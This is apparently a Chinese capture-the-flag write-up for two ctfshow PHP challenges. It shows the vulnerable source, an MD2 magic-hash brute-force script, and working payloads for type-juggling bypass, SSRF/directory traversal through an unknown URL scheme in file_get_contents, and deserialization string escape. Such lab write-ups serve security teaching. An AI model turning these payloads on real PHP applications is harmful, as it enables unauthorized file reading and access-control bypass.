1. <?php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. $a=$_GET['a'];
    5. $b=$_GET['b'];
    6. $c=$_GET['c'];
    7. $url[1]=$_POST['url'];
    8. if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    9. $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    10. if($d){
    11. highlight_file('hint.php');
    12. if(filter_var($url[1],FILTER_VALIDATE_URL)){
    13. $host=parse_url($url[1]);
    14. print_r($host);
    15. if(preg_match('/ctfshow\.com$/',$host['host'])){
    16. print_r(file_get_contents($url[1]));
    17. }else{
    18. echo '差点点就成功了!';
    19. }
    20. }else{
    21. echo 'please give me url!!!';
    22. }
    23. }else{
    24. echo '想一想md5碰撞原理吧?!';
    25. }
    26. }else{
    27. echo '第一个都过不了还想要flag呀?!';
    28. }

    首先,需要get提交abc三个变量,post一个参数url,将其值赋给变量url的数组
    第一个if语句变量a需要是数字,长度小于7,$a不能为0,$a的平方要为零,有点矛盾
    绕过a就是利用php的特性:
    php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
    也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0)会同时满足is_numric($a) and $a!=0 and $a**2==0
    但是长度会受限制。那我们可以用科学计数法来代替,即 1e-162 到 1e-323

    变量d需要经过变量b和变量c进行与运算,变量b和 c又经过不同层次的hash处理,访问robots.txt

    User=agent:   *
    Disallow:
    Disallow:   hinthint.txt
    提示内容
    Is it particularly difficult to break MD2?!
    I'll tell you quietly that I saw the payoad of the author.
    But the numbers are not clear.have fun~~~~
    xxxxx024452    hash("md2",$b)
    xxxxxx48399    hash("md2",hash("md2",$b))
    

    绕过b、c
    类似于md5弱比较
    为了满足$b==hash("md2", $b)只要保证一个数前面加上0e之后再md2仍然是0e开头的数字即可,$c==hash("md2",hash("md2", $c)类似。根据提示,发现可以少爆破很多位即可找到满足的数字。
    大佬的脚本

    <?php 
      for($i=0;$i<99999;$i++){
          $x1=hash("md2",'0e'.$i.'024452');
          if(substr($x1,0,2)==='0e' and is_numeric($x1)){
              break;
          }
      }
      for($j=0;$j<999999;$j++){
          $x2=hash('md2',hash("md2",'0e'.$j.'48399'));
          if(substr($x2,0,2)==='0e' and is_numeric($x2)){
              break;
          }
      }
      print('b=0e'.$i.'024452&c=0e'.$j.'48399');
    
    结果:b=0e652024452&c=0e603448399
    

    再看一下几个函数:
    filter_var() 函数通过指定的过滤器过滤变量。而里面的过滤器是FILTER_VALIDATE_URL 过滤器把值作为 URL 来验证。
    parse_url — 解析 URL,返回其组成部分

    $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
    $parts = parse_url($url);
    结果:
    Array (
    [scheme] => http
    [host] => www.electrictoolbox.com
    [path] => /php-extract-domain-from-full-url/
    )
    

    url=http://ctfshow.com/../../../../../../fl0g.txt(这样构造,无法访问)
    后来发现

    考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF

    因此我们构造url=hhh://ctfshow.com/../../../../../fl0g.txt
    payload

    get
    ?a=1e-166&b=0e652024452&c=0e603448399
    post
    url=hhh://ctfshow.com/../../../../../../fl0g.txt
    

    SSRF的奇淫巧技

    一道反序列化

    <?php
    error_reporting(0);
    
    class a
    {
        public $uname;
        public $password;
        public function __construct($uname,$password)
        {
            $this->uname=$uname;
            $this->password=$password;
        }
        public function __wakeup()
        {
                if($this->password==='yu22x')
                {
                    include('flag.php');
                    echo $flag;    
                }
                else
                {
                    echo 'wrong password';
                }
            }
        }
    
    function filter($string){
        return str_replace('Firebasky','Firebaskyup',$string);
    }
    
    $uname=$_GET[1];
    $password=1;
    $ser=filter(serialize(new a($uname,$password)));
    $test=unserialize($ser);
    ?>
    

    我们可控的只有uname,password=1,但是只有当password=yu22x才会输出flag
    对我们输入的数据经过序列化之后,会经过filter函数进行检测,从Firebasky—->Firebaskyup,增加了两个字符,利用这两个将yu22x挤出来
    构造一下正常的

    <?php
    error_reporting(0);
    
    class a
    {
        public $uname = 'a';
        public $password = 'yu22x';
        }
    echo serialize(new a())
    ?>
    输出内容
    O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:5:"yu22x";}
    

    要想拿到flag,我们需要password=yu22x,即通过Firebasky增加的两个字符将;s:8:”password”;s:5:”yu22x”;}挤出来,从而给password赋值为yu22x,15个Firebasky
    paylaod:

    ?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}